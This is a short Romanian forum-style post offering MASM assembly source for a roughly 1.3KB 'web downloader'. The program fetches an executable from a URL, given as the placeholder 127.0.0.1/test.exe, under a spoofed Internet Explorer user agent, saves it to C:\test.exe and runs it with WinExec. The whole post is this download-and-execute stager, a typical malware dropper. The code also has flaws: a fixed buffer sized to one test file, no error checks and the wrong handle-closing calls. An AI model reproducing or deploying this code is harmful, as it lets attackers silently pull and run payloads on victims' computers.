Web Downloader (asm)

[SlicK]

Asamblat cu MASM. Executabilul are in jur de 1.3KB

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\wininet.inc
includelib \masm32\lib\wininet.lib
includelib \masm32\lib\kernel32.lib
.data
URL    db 'http://127.0.0.1/test.exe',0 ;fiserul de downloadat
SAVE   db 'C:\test.exe',0 ;locatia unde sa fie salvat
agent  db 'Internet Explorer',0 ;user agentul pentru request
; handle'uri
ih     dd 0
uh     dd 0
fh     dd 0
; buffere
buffer dd 0
temp   dd 0

.code
start:

  invoke GlobalAlloc,GPTR,16302 ;alocam un buffer pentru stocarea fisierului (16302 bytes are testul meu)
  mov buffer,eax ;stocam valoarea returata

  invoke InternetOpen,addr agent,0,0,0,0 ;deschidem interfata wininet
  mov ih,eax

  invoke InternetOpenUrl,ih,addr URL,0,0,0,0 ;facem requestul
  mov uh,eax

  invoke InternetReadFile,uh,buffer,16302,addr temp ;citim fisierul in buffer

  invoke CloseHandle,uh ;inchidem handle'urile

  invoke CloseHandle,ih

  invoke CreateFile,addr SAVE,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 ;creem fisierul
  mov fh,eax

  invoke WriteFile,fh,buffer,16302,addr temp,0 ;scriem bufferul in fisier

  invoke CloseHandle,fh ;inchidem fisierul

  invoke WinExec,addr SAVE,SW_SHOWNORMAL ;executam fisierul downloadat

  invoke ExitProcess,0 ;inchidem procesul

end start